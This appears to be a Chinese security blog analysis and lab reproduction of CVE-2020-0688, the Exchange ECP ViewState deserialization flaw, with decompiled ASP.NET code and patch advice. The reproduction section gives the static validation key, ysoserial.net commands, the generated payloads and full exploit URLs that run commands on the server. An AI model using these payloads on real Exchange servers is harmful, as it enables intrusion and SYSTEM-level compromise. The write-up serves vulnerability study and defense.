cve-2020-0688-Exchange-远程代码执行分析及复现

cve-2020-0688-Exchange-远程代码执行介绍

作用

主要用于后续提权操作

影响版本

1
2
3
4
Microsoft Exchange Server 2010 Service Pack 3
Microsoft Exchange Server 2013
Microsoft Exchange Server 2016
Microsoft Exchange Server 2019

漏洞原理

这个漏洞是由于Exchange服务器在安装时没有正确地创建唯一的加密密钥所造成的。

具体来说,与正常软件安装每次都会产生随机密钥不同,所有Exchange Server在安装后的web.config文件中都拥有相同的validationKey和decryptionKey。这些密钥用于保证ViewState的安全性。而ViewState是ASP.NET Web应用以序列化格式存储在客户机上的服务端数据。客户端通过__VIEWSTATE请求参数将这些数据返回给服务器。攻击者可以在ExchangeControl Panel web应用上执行任意.net代码。

当攻击者通过各种手段获得一个可以访问Exchange Control Panel (ECP)组件的用户账号密码时。攻击者可以在被攻击的exchange上执行任意代码,直接获取服务器权限。

漏洞产生的主要原因就是在Exchange ECP组件中发现,邮件服务在安装的过程中不会随机生成秘钥,也就是说所有默认安装的Exchange服务器中的validationKey和decryptionKey的值都是相同的,攻击者可以利用静态秘钥对服务器发起攻击,在服务器中以SYSTEM权限远程执行代码。

由于Exchange Server在安装部署时未能创建应用唯一的加密密钥,导致Exchange Server在反序列化处理请求中的 __VIEWSTATE 数据触发远程代码执行。Exchange 是以SYSTEM权限启用的IIS,因此普通登录用户也可通过反序列化达到提权的目的,进而可以获取域管理的权限。

cve-2020-0688-Exchange-远程代码执行漏洞分析

1.消息认证码校验简述

在ASP.NET Web应用程序中通过 __VIEWSTATE 参数维持对象的ViewState视图状态。.NET Framework会对 __VIEWSTATE 参数进行加密和签名。如果启用了消息认证码(message authentication code)验证机制,则会获取相关的 machineKey 配置中的参数值去验证签名。其中相关的密钥一般存储在web.config或者machine.config配置文件中。

这里我们可以查看Exchange Server 2013中的配置文件进行说明,在 pages 标签中的 enableViewStateMac 属性值设置为true即启用了消息认证码验证机制。相应的配置信息则在 machineKey 标签中,其中包括验证密钥validationKey、解密密钥 decryptionKey 以及加解密算法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

<?xml version="1.0"?>
<configuration>
[...]
<pages theme="default" validateRequest="true" enableEventValidation="false" enableSessionState="false" enableViewState="false" enableViewStateMac="true" autoEventWireup="false">
<controls>
<add tagPrefix="asp" namespace="System.Web.UI" assembly="System.Web.Extensions, Version=3.5.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" />
<add tagPrefix="ajaxToolkit" namespace="AjaxControlToolkit" assembly="AjaxControlToolkit" />
<add tagPrefix="ecp" namespace="Microsoft.Exchange.Management.ControlPanel" assembly="Microsoft.Exchange.Management.ControlPanel" />
<add tagPrefix="ecp" namespace="Microsoft.Exchange.Management.ControlPanel.WebControls" assembly="Microsoft.Exchange.Management.ControlPanel" />
<add tagPrefix="ecp" namespace="Microsoft.Exchange.Management.ControlPanel.Reporting" assembly="Microsoft.Exchange.Management.ControlPanel" />
<add tagPrefix="asp" namespace="System.Web.UI.WebControls" assembly="System.Web.Extensions, Version=3.5.0.0, Culture=neutral, PublicKeyToken=31BF3856AD364E35" />
<add tagPrefix="CsmSdk" namespace="Microsoft.Office.CsmSdk.Controls" assembly="Microsoft.Office.CsmSdk" />
</controls>
</pages>
[...]
<system.web>
<machineKey validationKey="" decryptionKey="" validation="SHA1" decryption="3DES" />
</system.web>
[...]
</configuration>

2.ViewState 反序列化过程

一般情况ASPX文件在.NET Framework下运行会生成临时的文件,以default.aspx文件为例,会生成如下图的dll,通过dnSpy反编译如下图所示。当前 default_aspx 类通过多重继承,最终继承 System.Web.dll 中 System.Web.UI 命名空间下的Page类。

在处理请求的时候会调用System.Web.dll!System.Web.UI.Page.ProcessRequestMain 方法.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//Code snippet 0
private void ProcessRequestMain(bool includeStagesBeforeAsyncPoint, bool includeStagesAfterAsyncPoint)
{
[...]
if (EtwTrace.IsTraceEnabled(5, 4))
{
EtwTrace.Trace(EtwTraceType.ETW_TYPE_PAGE_LOAD_VIEWSTATE_ENTER, this._context.WorkerRequest);
}
this.LoadAllState();//[0]
if (EtwTrace.IsTraceEnabled(5, 4))
{
EtwTrace.Trace(EtwTraceType.ETW_TYPE_PAGE_LOAD_VIEWSTATE_LEAVE, this._context.WorkerRequest);
}
[...]
}

在 ProcessRequestMain 方法的[0]处调用 LoadAllState 方法载入请求中的各种状态。

1
2
3
4
5
6
//Code snippet 1
private void LoadAllState()
{
object obj = this.LoadPageStateFromPersistenceMedium();//[1]
[...]
}

紧接着调用 LoadPageStateFromPersistenceMedium 方法[1]中的load 方法[2]。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

//Code snippet 2
protected internal virtual object LoadPageStateFromPersistenceMedium()
{
PageStatePersister pageStatePersister = this.PageStatePersister;//[3]
try
{
pageStatePersister.Load();//[2]
}
catch (HttpException ex)
{
if (this._pageFlags[8])
{
return null;
}
if (this.ShouldSuppressMacValidationException(ex))//[5]
{
if (this.Context != null && this.Context.TraceIsEnabled)
{
this.Trace.Write("aspx.page", "Ignoring page state", ex);
}
this.ViewStateMacValidationErrorWasSuppressed = true;
return null;
}
ex.WebEventCode = 3002;
throw;
}
return new Pair(pageStatePersister.ControlState, pageStatePersister.ViewState);
}

调用load方法的对象是PageStatePersister 抽象类[3],HiddenFieldPageStatePersister 实现了该抽象类。最终的反序列化在[4]处触发。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
//Code snippet 3
public class HiddenFieldPageStatePersister : PageStatePersister
{
public HiddenFieldPageStatePersister(Page page) : base(page)
{
}
public override void Load()
{
if (base.Page.RequestValueCollection == null)
{
return;
}
string text = null;
try
{
text = base.Page.RequestViewStateString;
if (!string.IsNullOrEmpty(text) || !string.IsNullOrEmpty(base.Page.ViewStateUserKey))
{
Pair pair = (Pair)Util.DeserializeWithAssert(base.StateFormatter2, text, Purpose.WebForms_HiddenFieldPageStatePersister_ClientState);//[4]
base.ViewState = pair.First;
base.ControlState = pair.Second;
}
}
catch (Exception ex)
{
if (ex.InnerException is ViewStateException)
{
throw;
}
ViewStateException.ThrowViewStateError(ex, text);
}
}

3.非必要的__VIEWSTATEGENERATOR参数

在进行审计代码的时发现,触发反序列化漏洞时并不需要__VIEWSTATEGENERATOR 参数。具体验证该参数的代码实现参看代码片段2的[5]处。事实上,在代码片段3中触发反序列化之后会抛出异常,最后并没有执行到[6]处。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
internal bool ShouldSuppressMacValidationException(Exception e)
{
if (!EnableViewStateMacRegistryHelper.SuppressMacValidationErrorsFromCrossPagePostbacks)
{
return false;
}
if (ViewStateException.IsMacValidationException(e))
{
if (EnableViewStateMacRegistryHelper.SuppressMacValidationErrorsAlways)
{
return true;
}
if (!string.IsNullOrEmpty(this.ViewStateUserKey))
{
return false;
}
if (this._requestValueCollection == null)
{
return true;
}
if (!this.VerifyClientStateIdentifier(this._requestValueCollection["__VIEWSTATEGENERATOR"]))//[6]
{
return true;
}
}
return false;
}

cve-2020-0688-Exchange-远程代码执行复现

漏洞环境搭建

  • 系统: Windows Server 2012 DataCenter
  • Exchange2013安装包
  • Exchange Server 2013 一步步安装图解

按照说明一步步仔细下载安装即可。

漏洞复现

1.需要变量

想要利用该漏洞,我们需要四个参数,分别为:

1
2
3
4
5
6
7
--validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF(默认,漏洞产生原因)

--validationalg = SHA1(默认,漏洞产生原因)

--generator=B97B4E27(基本默认)

--viewstateuserkey = ASP.NET_SessionId(手工获取,变量,每次登陆都不一致)

在这四个变量中,前两个为默认固定,viewstateuserkey和generator的值需要从经过身份验证的session中收集。viewstateuserkey可以从ASP.NET的_SessionID cookie中获取,而generator可以在一个隐藏字段__VIEWSTATEGENERATOR中找到。所有这些都可以通过浏览器中的工具轻松获取。

2.获取viewstateuserkey和generator值

在正常登录后访问/ecp/default.aspx 页面。使用burpsuite抓包发repeater,找到登录时/ecp/default.aspx的原始响应。

找到ASP.NET_SessionId的cookie:

1
ASP.NET_SessionId=80677c59-fde2-4534-b8ae-97f3997b009a

在Response选项卡搜索__VIEWSTATEGENERATOR获取字段值:

1
B97B4E27

如果未找到此字段不必慌张,直接使用默认值B97B4E27即可。

3.使用工具生成payload

  • ysoserial.net下载

启动计算器calc.exe的payload:

1
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "calc.exe" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="80677c59-fde2-4534-b8ae-97f3997b009a" --isdebug --islegacy

得到

1
/wEylAcAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAAC2BTw/eG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9InV0Zi04Ij8+DQo8T2JqZWN0RGF0YVByb3ZpZGVyIE1ldGhvZE5hbWU9IlN0YXJ0IiBJc0luaXRpYWxMb2FkRW5hYmxlZD0iRmFsc2UiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbC9wcmVzZW50YXRpb24iIHhtbG5zOnNkPSJjbHItbmFtZXNwYWNlOlN5c3RlbS5EaWFnbm9zdGljczthc3NlbWJseT1TeXN0ZW0iIHhtbG5zOng9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sIj4NCiAgPE9iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT4NCiAgICA8c2Q6UHJvY2Vzcz4NCiAgICAgIDxzZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICAgICAgPHNkOlByb2Nlc3NTdGFydEluZm8gQXJndW1lbnRzPSIvYyBjYWxjLmV4ZSIgU3RhbmRhcmRFcnJvckVuY29kaW5nPSJ7eDpOdWxsfSIgU3RhbmRhcmRPdXRwdXRFbmNvZGluZz0ie3g6TnVsbH0iIFVzZXJOYW1lPSIiIFBhc3N3b3JkPSJ7eDpOdWxsfSIgRG9tYWluPSIiIExvYWRVc2VyUHJvZmlsZT0iRmFsc2UiIEZpbGVOYW1lPSJjbWQiIC8+DQogICAgICA8L3NkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgIDwvc2Q6UHJvY2Vzcz4NCiAgPC9PYmplY3REYXRhUHJvdmlkZXIuT2JqZWN0SW5zdGFuY2U+DQo8L09iamVjdERhdGFQcm92aWRlcj4L47DhJY3gXWlKKr9Pgk/V1sDTPn0=

生成完payload代码后,需要对该代码中的特殊字符进行URL Encode编码构造一个URL

1
/ecp/default.aspx?__VIEWSTATEGENERATOR=<generator>&__VIEWSTATE=<ViewState>

将最开始获得的__VIEWSTATEGENERATOR值替换generator,将URL Encode编码后的payload替换ViewState。

1
https://192.168.177.147/ecp/default.aspx?__VIEWSTATEGENERATOR=B97B4E27&__VIEWSTATE=%2fwEylAcAAQAAAP%2f%2f%2f%2f8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAAC2BTw%2feG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9InV0Zi04Ij8%2bDQo8T2JqZWN0RGF0YVByb3ZpZGVyIE1ldGhvZE5hbWU9IlN0YXJ0IiBJc0luaXRpYWxMb2FkRW5hYmxlZD0iRmFsc2UiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbC9wcmVzZW50YXRpb24iIHhtbG5zOnNkPSJjbHItbmFtZXNwYWNlOlN5c3RlbS5EaWFnbm9zdGljczthc3NlbWJseT1TeXN0ZW0iIHhtbG5zOng9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sIj4NCiAgPE9iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT4NCiAgICA8c2Q6UHJvY2Vzcz4NCiAgICAgIDxzZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICAgICAgPHNkOlByb2Nlc3NTdGFydEluZm8gQXJndW1lbnRzPSIvYyBjYWxjLmV4ZSIgU3RhbmRhcmRFcnJvckVuY29kaW5nPSJ7eDpOdWxsfSIgU3RhbmRhcmRPdXRwdXRFbmNvZGluZz0ie3g6TnVsbH0iIFVzZXJOYW1lPSIiIFBhc3N3b3JkPSJ7eDpOdWxsfSIgRG9tYWluPSIiIExvYWRVc2VyUHJvZmlsZT0iRmFsc2UiIEZpbGVOYW1lPSJjbWQiIC8%2bDQogICAgICA8L3NkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgIDwvc2Q6UHJvY2Vzcz4NCiAgPC9PYmplY3REYXRhUHJvdmlkZXIuT2JqZWN0SW5zdGFuY2U%2bDQo8L09iamVjdERhdGFQcm92aWRlcj4L47DhJY3gXWlKKr9Pgk%2fV1sDTPn0%3d

5.访问地址并成功执行

访问构造好的URL地址,服务器会弹出500的错误,但攻击其实成功了。

登录服务器查看进程,发现计算器成功启动。

6.生成创建文件的payload

1
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "cmd /c echo fuckyou > C:\1.txt" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="80677c59-fde2-4534-b8ae-97f3997b009a" --isdebug --islegacy
1
/wEyrQcAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAADPBTw/eG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9InV0Zi04Ij8+DQo8T2JqZWN0RGF0YVByb3ZpZGVyIE1ldGhvZE5hbWU9IlN0YXJ0IiBJc0luaXRpYWxMb2FkRW5hYmxlZD0iRmFsc2UiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbC9wcmVzZW50YXRpb24iIHhtbG5zOnNkPSJjbHItbmFtZXNwYWNlOlN5c3RlbS5EaWFnbm9zdGljczthc3NlbWJseT1TeXN0ZW0iIHhtbG5zOng9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sIj4NCiAgPE9iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT4NCiAgICA8c2Q6UHJvY2Vzcz4NCiAgICAgIDxzZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICAgICAgPHNkOlByb2Nlc3NTdGFydEluZm8gQXJndW1lbnRzPSIvYyBjbWQgL2MgZWNobyBmdWNreW91ICZndDsgQzpcMS50eHQiIFN0YW5kYXJkRXJyb3JFbmNvZGluZz0ie3g6TnVsbH0iIFN0YW5kYXJkT3V0cHV0RW5jb2Rpbmc9Int4Ok51bGx9IiBVc2VyTmFtZT0iIiBQYXNzd29yZD0ie3g6TnVsbH0iIERvbWFpbj0iIiBMb2FkVXNlclByb2ZpbGU9IkZhbHNlIiBGaWxlTmFtZT0iY21kIiAvPg0KICAgICAgPC9zZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICA8L3NkOlByb2Nlc3M+DQogIDwvT2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KPC9PYmplY3REYXRhUHJvdmlkZXI+C4YHJpuOWhZ0EwlC4tCrGFYcch19

访问url

1
https://192.168.177.147/ecp/default.aspx?__VIEWSTATEGENERATOR=B97B4E27&__VIEWSTATE=%2fwEyrQcAAQAAAP%2f%2f%2f%2f8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAADPBTw%2feG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9InV0Zi04Ij8%2bDQo8T2JqZWN0RGF0YVByb3ZpZGVyIE1ldGhvZE5hbWU9IlN0YXJ0IiBJc0luaXRpYWxMb2FkRW5hYmxlZD0iRmFsc2UiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbC9wcmVzZW50YXRpb24iIHhtbG5zOnNkPSJjbHItbmFtZXNwYWNlOlN5c3RlbS5EaWFnbm9zdGljczthc3NlbWJseT1TeXN0ZW0iIHhtbG5zOng9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sIj4NCiAgPE9iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT4NCiAgICA8c2Q6UHJvY2Vzcz4NCiAgICAgIDxzZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICAgICAgPHNkOlByb2Nlc3NTdGFydEluZm8gQXJndW1lbnRzPSIvYyBjbWQgL2MgZWNobyBmdWNreW91ICZndDsgQzpcMS50eHQiIFN0YW5kYXJkRXJyb3JFbmNvZGluZz0ie3g6TnVsbH0iIFN0YW5kYXJkT3V0cHV0RW5jb2Rpbmc9Int4Ok51bGx9IiBVc2VyTmFtZT0iIiBQYXNzd29yZD0ie3g6TnVsbH0iIERvbWFpbj0iIiBMb2FkVXNlclByb2ZpbGU9IkZhbHNlIiBGaWxlTmFtZT0iY21kIiAvPg0KICAgICAgPC9zZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICA8L3NkOlByb2Nlc3M%2bDQogIDwvT2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KPC9PYmplY3REYXRhUHJvdmlkZXI%2bC4YHJpuOWhZ0EwlC4tCrGFYcch19

成功创建文件,如图所示:

漏洞修复

1.及时更新相关补丁

1
2
3
4
5
6
7
8
9
10
11
Microsoft Exchange Server 2010 Service Pack 3 Update Rollup 30 KB4536989

Microsoft Exchange Server 2013 Cumulative Update 23 KB4536988

Microsoft Exchange Server 2016 Cumulative Update 14 KB4536987

Microsoft Exchange Server 2016 Cumulative Update 15 KB4536987

Microsoft Exchange Server 2019 Cumulative Update 3 KB4536987

Microsoft Exchange Server 2019 Cumulative Update 4 KB4536987

2.限制Exchange Control Panel(ECP)组件页面访问权限

由于该漏洞需要利用Exchange Control Panel (ECP)组件,因此禁止此组件访问也为一个有效的应急方法,建议条件允许的情况下及时更新补丁。

Welcome to my other publishing channels